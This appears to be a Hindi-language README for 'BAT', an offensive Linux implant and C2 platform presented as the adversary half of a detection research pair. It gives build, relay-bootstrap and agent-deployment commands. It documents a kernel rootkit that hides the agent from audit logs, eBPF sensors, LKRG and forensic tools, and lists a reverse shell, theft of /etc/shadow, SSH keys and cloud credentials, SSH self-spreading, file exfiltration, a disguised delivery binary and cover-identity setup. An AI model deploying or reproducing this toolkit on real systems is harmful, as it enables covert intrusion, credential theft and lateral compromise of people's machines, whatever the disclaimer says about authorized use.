
BAT Linux और Windows के लिए एक यथार्थवादी, विकसित होता हुआ प्रतिद्वंद्वी खतरा मॉडल है। यह C2 फ्रेमवर्क नहीं है और न ही रूटकिट है। यह एक संपूर्ण खतरा सिमुलेशन प्लेटफ़ॉर्म है जो C2 संचार, कर्नेल-स्तरीय स्टील्थ रूटकिट मॉड्यूल, यूज़रस्पेस इवेज़न, विशेषाधिकार एस्केलेशन, पर्सिस्टेंस, प्रोसेस इंजेक्शन, क्रेडेंशियल हार्वेस्टिंग, एक्सफ़िल्ट्रेशन और लैटरल मूवमेंट को एक एकीकृत प्रतिद्वंद्वी में समाहित करता है। डिज़ाइन लक्ष्य 2026 में प्राप्त होने वाला सबसे परिष्कृत और यथार्थवादी Linux खतरा बनना है, चाहे वर्तमान में कोई भी डिटेक्शन प्रणाली इसे पकड़ती हो।
यह एक शोध जोड़ी का प्रतिद्वंद्वी पक्ष है। Aura फ्रेमवर्क Bat का पता लगाने के लिए विकसित होता है। Bat Aura से बचने के लिए विकसित होता है। प्रतिद्वंद्वी कभी भी डिटेक्टर द्वारा बाधित नहीं होता है।
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. कॉन्फ़िगर करें```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
एक सीक्रेट जनरेट करें: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
बाइनरी `bin/` में आते हैं।
### 4. रिले को बूटस्ट्रैप करें```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
लक्ष्य पर एक एजेंट तैनात करें:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
एजेंट bat-server में एक बीकन अंतराल (डिफ़ॉल्ट 30s) के भीतर <agentID>@<hostname> के रूप में दिखाई देता है।
कर्नेल स्टील्थ लेयर (bat-stealth.ko, स्रोत kperf-qos/ में) सीधे Singularity के ऊपर बनाई गई है, जो एक उन्नत कर्नेल रूटकिट अनुसंधान ढांचा है। चार मुख्य मॉड्यूल पोर्ट और अनुकूलित किए गए:
bpf_hook: bpf(2) और सभी eBPF संचार प्रिमिटिव को इंटरसेप्ट करता है। किसी भी eBPF सेंसर को छिपे हुए PID के लिए शून्य टेलीमेट्री प्राप्त होती है। अनुकूलित: ARCH_SYS("bpf") केवल x86 वाले __x64_sys_bpf को प्रतिस्थापित करता है; __ia32_sys_bpf ARM64 के लिए हटाया गया; HIDDEN_PORT को sysfs-कॉन्फ़िगर करने योग्य ग्लोबल द्वारा प्रतिस्थापित किया गया।
hiding_fs: पूर्ण फ़ाइलसिस्टम विलोपन: getdents64/getdents फ़िल्टरिंग, stat/statx/newfstatat nlink समायोजन, openat/access/faccessat /proc/<pid> अवरोधन, chdir और readlink अवरोधन। पाँच Singularity मॉड्यूल (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink) से विलय किया गया। अनुकूलित: मैक्रोज़ प्रत्यक्ष रजिस्टर एक्सेस को प्रतिस्थापित करते हैं; रनटाइम-कॉन्फ़िगर के लिए विस्तारित किया गया।
hide_module: bat-stealth.ko को सभी कर्नेल मॉड्यूल सूचियों से हटाता है। विस्तारित: Singularity पहले से list.prev सहेजता है; यह संस्करण list.prev और list.next दोनों को सहेजता है और दोनों दिशाओं में ट्रैवर्सल को रोकने के लिए दोनों को पॉइज़न करता है। प्रतिवर्ती निष्कासन के लिए module_unhide() जोड़ा गया, जो K-99 द्वारा delete_module(2) से मॉड्यूल को नाम से खोजने से पहले आवश्यक है।
lkrg_bypass: छिपे हुए प्रोसेस के लिए LKRG प्रवर्तन को दबाता है: छिपे हुए कार्यों के लिए SIGKILL को रोकने हेतु सिग्नल डिलीवरी को हुक करता है, LKRG लॉग संदेशों को हटाने के लिए vprintk_emit को हुक करता है, एजेंट निष्पादन के दौरान UMH सत्यापन को अक्षम करता है। सीधे बिना किसी आर्किटेक्चरल परिवर्तन के पोर्ट किया गया।
निम्नलिखित मॉड्यूल स्वतंत्र रूप से विकसित किए गए थे:
become_root: सिग्नल 59 हुक जो uid=0 (K-03) प्रदान करने के लिए commit_creds(prepare_kernel_cred(NULL)) को कॉल करता हैselfdefense: LiME मेमोरी अधिग्रहण को ब्लॉक करता है, kallsyms प्रविष्टियों को छुपाता है, एजेंट प्रतीकों पर kprobes को ब्लॉक करता है, किसी भी गणना प्रयास पर मॉड्यूल को फिर से छुपाता हैaudit: छिपे हुए PID के लिए auditd घटनाओं को दबाता हैsysrq_hook: टास्क डंप से छिपे हुए प्रोसेस को बाहर करने के लिए SysRq-T को इंटरसेप्ट करता हैtaskstats_hook: छिपे हुए PID के लिए NETLINK taskstats प्रतिक्रियाओं को फ़िल्टर करता हैreset_tainted + clear_taint_dmesg: /proc/sys/kernel/tainted को शून्य करता है और मॉड्यूल लोड सबूत वाली dmesg पंक्तियों को फ़िल्टर करता हैhooks_write: syslog या journald तक पहुँचने से पहले एजेंट स्ट्रिंग से मेल खाते लॉग प्रविष्टियों को हटाने के लिए सभी कर्नेल राइट पथ (write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat) को इंटरसेप्ट करता हैpid_manager: चाइल्ड प्रोसेस में छिपे PID सेट को बनाए रखने के लिए fork tracepointपूरा स्टैक एजेंट और उसके सभी आर्टिफैक्ट को निम्न से अदृश्य बना देता है: ps, top, ss, netstat, lsof, छिपे हुए पथों पर फ़ाइलसिस्टम ट्रैवर्सल, lsmod, sysfs, kallsyms, auditd, सभी eBPF सेंसर, LKRG, LiME, और SysRq फोरेंसिक।
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| घटक | भूमिका |
|---|---|
| `bat-agent` | एजेंट। बीकन भेजता है, TTP निष्पादित करता है। Garble-अस्पष्टित। |
| `bat-server` | ऑपरेटर कंसोल। इंटरैक्टिव CLI। सभी एजेंटों का प्रबंधन करता है। |
| `netshell` | डिलीवरी बाइनरी। एक सिस्टम टूल जैसा दिखता है; वास्तव में पूर्ण एजेंट है। |
| `bat-rootkit.so` | LD_PRELOAD यूज़रस्पेस रूटकिट। फ़ाइलों, PID, पोर्ट्स, env वेरिएबल्स को छुपाता है। |
| `bat-stealth.ko` | कर्नेल स्टील्थ परत (Singularity-आधारित)। |
| `kcc-server` | रिले सेवा। लक्ष्य के चल रहे कर्नेल के लिए मांग पर `bat-stealth.ko` संकलित करती है। |
| `relay/` | रिले इन्फ्रास्ट्रक्चर: nginx, TLS, सेटअप, सिंक, डिलीवरी स्क्रिप्ट्स। |
---
## बायपास की गई सुरक्षा प्रणालियाँ
| श्रेणी | सुरक्षा उपाय | बायपास तंत्र |
|---|---|---|
| प्रक्रिया निगरानी | `ps` / `top` / `/proc` सूची | `hiding_procs.c`: `getdents64` हुक उपयोगकर्तास्पेस द्वारा पढ़े जाने से पहले procfs से एजेंट PID प्रविष्टियों को हटा देता है। |
| प्रक्रिया निगरानी | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: `filldir` हुक सभी readdir परिणामों से PID उपसर्गों को फ़िल्टर करता है। |
| फ़ाइल सिस्टम | एजेंट फ़ाइलों और निर्देशिकाओं पर `ls` / `find` | `hiding_fs.c`: लक्षित पथों पर `getdents64`/`getdents` हुक; stat nlink को मेल खाने के लिए समायोजित किया गया। |
| फ़ाइल सिस्टम | `lsattr` / `chattr` पहचान | `hiding_fs.c`: एजेंट फ़ाइल पथों पर `ioctl` इंटरसेप्ट। |
| फ़ाइल सिस्टम | `/proc/modules` / `lsmod` सूची | `hiding_module.c`: सभी sysfs और procfs मॉड्यूल सूचियों से `bat-stealth.ko` प्रविष्टि हटाता है। |
| नेटवर्क | `ss` / `netstat` पोर्ट सूचियाँ | `hiding_net.c`: `tcp4_seq_show`/`tcp6_seq_show` हुक आउटपुट से C2 पोर्ट प्रविष्टियाँ निकाल देते हैं। |
| नेटवर्क | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: seq_file रीड इंटरसेप्शन C2 सॉकेट पंक्तियों को हटा देता है। |
| लॉग | `syslog` / `journald` राइट पथ | `hooks_write.c`: `write`/`splice`/`sendfile`/`tee` इंटरसेप्ट; एजेंट स्ट्रिंग्स से मेल खाने वाली लॉग प्रविष्टियाँ कर्नेल में ही त्याग दी जाती हैं। |
| लॉग | `io_uring` एसिंक राइट पथ | `hooks_write.c`: `io_uring_enter`/`io_uring_enter2` इंटरसेप्ट किए गए; ia32 compat पथ कवर किया गया। |
| कर्नेल सुरक्षा | `rkhunter` / `chkrootkit` | मॉड्यूल `/proc/modules` से छिपा हुआ; एजेंट फ़ाइलें फ़ाइल सिस्टम से छिपी हुई; शून्य चेतावनी सत्यापित। |
| कर्नेल सुरक्षा | ClamAV | Garble `-literals -tiny` अस्पष्टीकरण + कोई एम्बेडेड क्लियरटेक्स्ट स्ट्रिंग्स नहीं; 0 डिटेक्शन सत्यापित (DB 2026-04-20) |
| EDR / eBPF | eBPF-आधारित सेंसर जो `/proc` पढ़ते हैं | छिपाने वाले हुक eBPF रिंग बफर इवेंट उत्पन्न होने से पहले कर्नेल स्तर पर इंटरसेप्ट करते हैं। |
| कर्नेल इंट्रोस्पेक्शन | एजेंट सिंबल पर `ftrace` / `kprobes` | `selfdefense` मॉड्यूल एजेंट फ़ंक्शन एड्रेस पर kprobe अटैचमेंट को ब्लॉक करता है। |
| कर्नेल फोरेंसिक्स | LiME मेमोरी अधिग्रहण | `selfdefense` LiME मॉड्यूल लोड और रॉ मेमोरी डिवाइस एक्सेस को ब्लॉक करता है। |
| कर्नेल फोरेंसिक्स | SysRq-T टास्क डंप | `sysrq_hook` SysRq-T द्वारा लिखी गई टास्क सूची से छिपी हुई प्रक्रियाओं को बाहर करता है। |
| कर्नेल फोरेंसिक्स | NETLINK taskstats | `taskstats_hook` छिपे हुए PID के लिए taskstats NETLINK प्रतिक्रियाओं को फ़िल्टर करता है। |
| कर्नेल अखंडता | LKRG प्रवर्तन | `lkrg_bypass` LKRG `SIGKILL` वितरण को दबा देता है और LKRG लॉग संदेशों को हटा देता है। |
| ऑडिट सबसिस्टम | `auditd` सिसकॉल रिकॉर्डिंग | `audit` मॉड्यूल कर्नेल ऑडिट परत पर सभी छिपे हुए PID के लिए ऑडिट इवेंट को दबा देता है। |
---
## सिसकॉल हुक
सभी हुक `bat-stealth.ko` द्वारा लोड समय पर ftrace के माध्यम से स्थापित किए जाते हैं। ia32 प्रविष्टियाँ केवल x86_64 पर संकलित की जाती हैं (`#ifdef ARCH_SYS_IA32`)।
| सिसकॉल / फ़ंक्शन | मॉड्यूल | उद्देश्य |
|---|---|---|
| `getdents64` | `hiding_procs.c` | एजेंट PID को `/proc` निर्देशिका सूचियों से छुपाएं |
| `getdents` | `hiding_procs.c` | 32-बिट संगतता: एजेंट PID छुपाएं |
| `filldir` (readdir) | `hiding_procs.c` | पुराने readdir कॉलर्स के लिए अतिरिक्त proc प्रविष्टि फ़िल्टर |
| `getdents64` | `hiding_fs.c` | एजेंट फ़ाइलों को निर्देशिका सूचियों से छुपाएं |
| `getdents` | `hiding_fs.c` | 32-बिट संगतता: एजेंट फ़ाइलें छुपाएं |
| `ia32_getdents64` | `hiding_fs.c` | x86 संगत सिसकॉल |
| `ia32_getdents` | `hiding_fs.c` | x86 संगत सिसकॉल |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | छिपे हुए पथों के लिए 32-बिट stat इंटरसेप्ट |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | 32-बिट open/access इंटरसेप्ट |
| `ia32_readlink` | `hiding_fs.c` | 32-बिट readlink इंटरसेप्ट |
| `ia32_chdir` | `hiding_fs.c` | 32-बिट chdir इंटरसेप्ट |
| `ioctl` | `hiding_fs.c` | एजेंट पथों पर `lsattr`/`chattr` ioctl इंटरसेप्ट करें |
| `tcp4_seq_show` | `hiding_net.c` | `/proc/net/tcp` से C2 पोर्ट प्रविष्टियाँ छुपाएं |
| `tcp6_seq_show` | `hiding_net.c` | `/proc/net/tcp6` से C2 पोर्ट प्रविष्टियाँ छुपाएं |
| `bpf` | `bpf_hook.c` | सभी eBPF प्रोग्रामों में छिपे PID के लिए टेलीमेट्री शून्य करें |
| `write` | `hooks_write.c` | syslog तक पहुँचने से पहले एजेंट स्ट्रिंग्स वाली लॉग प्रविष्टियाँ हटाएँ |
| `splice` | `hooks_write.c` | splice पथ के माध्यम से समान इंटरसेप्शन |
| `sendfile` | `hooks_write.c` | sendfile पथ के माध्यम से समान इंटरसेप्शन |
| `tee` | `hooks_write.c` | tee पथ के माध्यम से समान इंटरसेप्शन |
| `io_uring_enter` | `hooks_write.c` | io_uring एसिंक राइट इंटरसेप्शन |
| `io_uring_enter2` | `hooks_write.c` | io_uring एसिंक राइट इंटरसेप्शन (v2 सिसकॉल) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | `fork`/`clone` के दौरान छिपी स्थिति विरासत में लें |
| `vprintk_emit` | `lkrg_bypass.c` | LKRG कर्नेल लॉग संदेश हटाएँ |
| `finit_module` / `init_module` | agent (kcc loader) | `memfd_create` + anonymous fd के माध्यम से फाइललेस कर्नेल मॉड्यूल लोड |
---
## TTP संदर्भ
| TTP | नाम | विवरण |
|---|---|---|
| 1 | masquerade | प्रक्रिया comm का नाम बदलकर `kworker/0:1` (या कस्टम) करें |
| 2 | reverse_shell | relay:4445 पर रिवर्स TCP शेल |
| 3 | memory_rwx | अनाम RWX मेमोरी आवंटित करें (डिटेक्शन प्रोब) |
| 4 | shell_exec | आर्बिट्ररी शेल कमांड निष्पादित करें |
| 5 | beacon | तुरंत अतिरिक्त चेक-इन के लिए बाध्य करें |
| 6 | persist | पर्सिस्टेंस स्थापित करें (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | `/etc/shadow`, bash इतिहास, env रहस्य, AWS IMDS एकत्र करें |
| 9 | exec_chain | प्रक्रिया श्रृंखला उत्पन्न करें (डिटेक्शन प्रोब) |
| 10 | install_rootkit | `/etc/ld.so.preload` के माध्यम से `bat-rootkit.so` तैनात करें |
| 11 | inject + exit | लाइव प्रक्रिया में beacon + rawsock थ्रेड्स इंजेक्ट करें, फिर self-exit करें |
| 20 | network_recon | लोकल सबनेट का ARP टेबल + TCP :22 स्कैन |
| 21 | ssh_harvest | प्राइवेट कुंजियाँ, known_hosts, authorized_keys, कॉन्फिग एकत्र करें |
| 22 | lateral_move | खोजे गए होस्ट पर SSH के माध्यम से SCP self, फिर detached exec |
| 23 | creddump_full | विस्तारित क्रेडेंशियल संग्रह + पर्यावरण फिंगरप्रिंट |
| 30 | exfil-file | आर्बिट्ररी फ़ाइल पढ़ें और beacon चैनल पर base64 चंक्स प्रसारित करें |
| 31 | exfil-dir | निर्देशिका का Tar+gzip करें और beacon चैनल पर एक्सफिल्ट्रेट करें |
| 32 | exfil-auto | कॉन्फ़िगर किए गए पथों की निगरानी करें और बदलाव पर auto-exfiltrate करें |
| 34 | netmap | लाइव होस्ट और खुले पोर्ट्स के लिए /16 CIDR स्कैन करें |
| 35 | autospread | एकत्रित कुंजियों का उपयोग करके खोजे गए होस्टों पर SSH पार्श्व आंदोलन; एजेंट की प्रतिलिपि बनाकर detached निष्पादित करता है |
| 36 | smbprobe | पार्श्व आंदोलन उम्मीदवारों के लिए SMB पोर्ट प्रोब (:445) |
| 99 | kill | मूक आत्म-समापन |
| 222 | destruct | सभी आर्टिफैक्ट हटाएँ, मेमोरी वाइप करें, बाहर निकलें |
| 1003 | K-03 (privesc) | कर्नेल सिग्नल 59 `commit_creds` को uid=0 के लिए ट्रिगर करता है |
| 1099 | K-99 (unload) | sysfs + raw `delete_module(2)` के माध्यम से दो-चरणीय `bat-stealth.ko` अनलोड |
कंसोल कमांड (`bat-server` प्रॉम्प्ट में):
- `kill`: सभी एजेंटों के लिए TTP 99
- `destruct`: सभी एजेंटों के लिए TTP 222
- `destruct @<agentID>`: लक्षित वाइप
---
### KCC: कर्नेल कंपाइल कैश
`bat-stealth.ko` लक्ष्य के चल रहे कर्नेल के लिए मांग पर संकलित किया जाता है। एजेंट रनटाइम पर पूरे फ्लो को स्वचालित करता है; प्रति लक्ष्य कोई पूर्व-निर्मित मॉड्यूल आवश्यक नहीं है:
1. **कर्नेल पहचानें**: एजेंट सटीक `uname -r` स्ट्रिंग प्राप्त करने के लिए `/proc/version` पढ़ता है।
2. **संकलन का अनुरोध करें**: एजेंट HMAC-हस्ताक्षरित अनुरोध के साथ कर्नेल स्ट्रिंग को `kcc-server` (`:9444`) पर POST करता है।
3. **kcc-server संकलित करता है**: सर्वर मिलान वाले कर्नेल हेडर्स के विरुद्ध `bat-stealth.ko` बनाता है और परिणाम को कर्नेल हैश द्वारा कैश करता है।
4. **मॉड्यूल बाइट्स प्राप्त करें**: संकलित `.ko` प्रतिक्रिया बॉडी में लौटाया जाता है।
5. **फाइललेस लोड**: एजेंट एक अनाम मेमोरी फ़ाइल बनाता है (`memfd_create`, x86_64 पर syscall 279 / ARM64 पर 319), मॉड्यूल बाइट्स लिखता है, फिर खाली params स्ट्रिंग के साथ `finit_module` (syscall 273 / 313) कॉल करता है।
6. **पंजीकरण**: मॉड्यूल सभी हुक पंजीकृत करता है और मिलीसेकंड के भीतर स्वयं को sysfs/procfs से छिपा लेता है।
किसी भी बिंदु पर डिस्क पर कोई `.ko` फ़ाइल नहीं लिखी जाती। मॉड्यूल लोड के तुरंत बाद `/proc/modules` से गायब हो जाता है।
**न्यूनतम कर्नेल:** 6.x (K-00 प्रोब; पुराने कर्नेल पर एजेंट स्टील्थ लोड छोड़ देता है)।
**परीक्षित:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP)।
---
## बिल्ड प्रोफ़ाइल```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
सभी प्रोफाइलों को SECRET= की आवश्यकता होती है। रिले आईपी को RELAY=<ip> से ओवरराइड करें।
SHA-256(secret) से हस्ताक्षरित होता है; रीप्ले सर्वर-साइड अस्वीकार कर दिए जाते हैं।-literals एन्क्रिप्शन। -X ldflags जानबूझकर टाला गया है (ldflag मान बाइनरीज़ में प्लेनटेक्स्ट दिखाई देते हैं)।bat-server में एम्बेडेड SSH रिवर्स टनल के माध्यम से आउटबाउंड प्रवाहित होती है।relay/static/ रिले का सार्वजनिक चेहरा है। रिलीज़ एक नंगे प्लेसहोल्डर के साथ आती है। sync.sh चलाने से पहले index.html और सहायक पेजों को अपनी कवर पहचान से बदलें। डिलीवरी स्क्रिप्ट (static/i, static/api/setup, static/api/v1/index.json) प्लेसहोल्डर के रूप में __CDN_DOMAIN__ का उपयोग करती हैं; build.env में CDN_DOMAIN= सेट करें और sync.sh इसे स्वचालित रूप से बदल देता है। पहले nginx डिप्लॉय से पहले relay/nginx/bat.conf में server_name और TLS सर्टिफिकेट पथों में वास्तविक डोमेन अपडेट करें।
CDN प्रोफ़ाइल एजेंट ट्रैफ़िक को एज प्रॉक्सी परत के माध्यम से रूट करती है। एजेंट HTTPS के माध्यम से CDN डोमेन से कनेक्ट होता है; प्रॉक्सी ट्रैफ़िक को SSH रिवर्स टनल के माध्यम से रिले के लोकल लिसनर तक अग्रेषित करता है। नेटवर्क परिप्रेक्ष्य से, सभी एजेंट ट्रैफ़िक रिले VPS के बजाय CDN एज आईपी रेंज से उत्पन्न होता है।
---
जब कोई लक्ष्य CDN एंडपॉइंट से एजेंट बाइनरी प्राप्त करता है, तो एक डिलीवरी अलर्ट तुरंत कॉन्फ़िगर किए गए टेलीग्राम चैनल पर भेज दिया जाता है। सूचना में शामिल हैं: स्रोत आईपी, टाइमस्टैम्प, अनुरोध पथ, पता लगाई गई आर्किटेक्चर (x86_64/arm64), फ़ाइल आकार, User-Agent स्ट्रिंग, और CDN एज आइडेंटिफ़ायर।
delivery-alert.service डेमॉन nginx एक्सेस लॉग को टेल करता है और हनी डाउनलोड पथ पर किसी भी हिट पर फायर करता है। रिले बूटस्ट्रैप के दौरान कॉन्फ़िगर करें:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
प्रमाण-पत्र रिले पर `/etc/bat/tg.env` में लिखे जाते हैं और `sync.sh --tg` के माध्यम से सभी सिंक लक्ष्यों तक प्रचारित किए जाते हैं। सेवा स्वचालित रूप से प्रारंभ होती है और रिले पुनःप्रारंभ के बाद भी बनी रहती है।
---
## अस्वीकरण
यह सॉफ़्टवेयर विशेष रूप से अधिकृत सुरक्षा अनुसंधान, नियंत्रित प्रयोगशाला वातावरण में प्रतिकूल सिमुलेशन, और पहचान एवं प्रतिक्रिया क्षमताओं के विकास के लिए विकसित किया गया है। इसमें आक्रामक तकनीकों के कार्यात्मक कार्यान्वयन शामिल हैं, जिनमें कर्नेल-स्तरीय रूटकिट, प्रक्रिया इंजेक्शन, क्रेडेंशियल संग्रहण, और पार्श्व संचलन (lateral movement) शामिल हैं। अधिकांश न्यायक्षेत्रों में लागू कंप्यूटर धोखाधड़ी और दुरुपयोग कानूनों के तहत, सिस्टम स्वामी से स्पष्ट लिखित प्राधिकरण के बिना किसी भी सिस्टम पर तैनाती अवैध है।
लेखक इस सॉफ़्टवेयर के अनधिकृत, लापरवाह, या दुर्भावनापूर्ण उपयोग से उत्पन्न किसी भी क्षति, कानूनी परिणाम, या हानि के लिए कोई दायित्व स्वीकार नहीं करते हैं। इस सॉफ़्टवेयर का उपयोग करके, आप पुष्टि करते हैं कि आप एक योग्य सुरक्षा पेशेवर हैं जो कानूनी, अधिकृत दायरे में कार्य कर रहे हैं, और इसके उपयोग की पूरी कानूनी और नैतिक ज़िम्मेदारी केवल आप पर है।
पूर्व लिखित सहमति के बिना इस सॉफ़्टवेयर को किसी तीसरे पक्ष को पुनर्वितरित, प्रकाशित, या प्रकट नहीं किया जाना चाहिए।
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ATT&CK ID | तकनीक | Bat कार्यान्वयन |
|---|
| T1036.005 | छद्म रूप: वैध नाम का मिलान | TTP 1: prctl(PR_SET_NAME) के माध्यम से kworker/0:1 नाम सेट करना |
| T1055 | प्रोसेस इंजेक्शन | TTP 11: शेलकोड + rawsock थ्रेड लाइव प्रोसेस में इंजेक्ट किया गया |
| T1205.001 | ट्रैफ़िक सिग्नलिंग (मैजिक पैकेट) | UDP/ICMP ट्रिगर एजेंट को निष्क्रियता से जगाता है |
| T1071.001 | वेब प्रोटोकॉल C2 | HTTPS बीकन :443 या :9443 पर |
| T1573.001 | एन्क्रिप्टेड चैनल: सममित | TLS पर HMAC-SHA256 प्रमाणित बीकन |
| T1090.004 | प्रॉक्सी: डोमेन फ्रंटिंग | CDN प्रोफ़ाइल एजेंट ट्रैफ़िक को एज प्रॉक्सी परत के माध्यम से रूट करता है |
| T1574.006 | निष्पादन हाइजैक: LD_PRELOAD | TTP 10: /etc/ld.so.preload के माध्यम से bat-rootkit.so |
| T1014 | रूटकिट | bat-stealth.ko: PID, पोर्ट, फ़ाइलें, मॉड्यूल, स्वयं को छुपाता है |
| T1562.001 | रक्षा को क्षीण करना: टूल अक्षम करना | bpf_hook eBPF सेंसर को अंधा करता है; lkrg_bypass LKRG को अक्षम करता है |
| T1562.012 | रक्षा को क्षीण करना: Linux ऑडिट अक्षम करना | audit मॉड्यूल छिपे हुए PID के लिए auditd ईवेंट को दबाता है |
| T1068 | शोषण के माध्यम से विशेषाधिकार वृद्धि | K-03: सिग्नल 59 uid=0 के लिए commit_creds ट्रिगर करता है |
| T1543.002 | सिस्टम प्रोसेस बनाना/संशोधित करना: Systemd | TTP 6: systemd यूनिट पर्सिस्टेंस |
| T1053.003 | अनुसूचित कार्य: क्रॉन | TTP 6: crontab पर्सिस्टेंस |
| T1070.002 | Linux लॉग साफ़ करें | clear_taint_dmesg dmesg को फ़िल्टर करता है; reset_tainted टेन्ट फ्लैग को शून्य करता है; hooks_write कर्नेल में लॉग प्रविष्टियों को हटाता है |
| T1070.004 | संकेतक निष्कासन: फ़ाइल विलोपन | TTP 222 destruct: पूर्ण आर्टिफैक्ट वाइप |
| T1003 | क्रेडेंशियल डंपिंग | TTP 7/23: /etc/shadow, शेल हिस्ट्री, env सीक्रेट्स |
| T1552.004 | असुरक्षित क्रेडेंशियल: निजी कुंजियाँ | TTP 21: SSH कुंजियाँ, known_hosts, कॉन्फ़िग |
| T1552.005 | क्लाउड इंस्टेंस मेटाडेटा | TTP 23: AWS IMDS क्रेडेंशियल हार्वेस्ट |
| T1018 | रिमोट सिस्टम डिस्कवरी | TTP 20/34: ARP गणना + /16 CIDR स्कैन |
| T1046 | नेटवर्क सेवा स्कैनिंग | TTP 20/34: खोजे गए होस्ट का TCP पोर्ट स्कैन |
| T1021.004 | SSH के माध्यम से लेटरल मूवमेंट | TTP 22/35: खोजे गए होस्ट पर SCP self, exec डिटैच्ड |
| T1078 | वैध खाते | TTP 22/35: लेटरल मूवमेंट हार्वेस्ट की गई SSH कुंजियों का उपयोग करता है |
| T1048 | वैकल्पिक प्रोटोकॉल पर एक्सफ़िल्ट्रेशन | TTP 30/31/32: बीकन चैनल पर फ़ाइल और निर्देशिका एक्सफ़िल |
| T1059.004 | यूनिक्स शेल निष्पादन | TTP 4: मनमाना कमांड निष्पादन |
| T1027 | अस्पष्ट फ़ाइलें या जानकारी | garble -literals -tiny -seed=random; XOR(0x5A) कॉन्फ़िग एन्कोडिंग |
| T1620 | रिफ्लेक्टिव कोड लोडिंग | TTP 11: शेलकोड लक्ष्य प्रक्रिया एड्रेस स्पेस में निष्पादित; bat-stealth.ko memfd_create के माध्यम से लोड किया गया |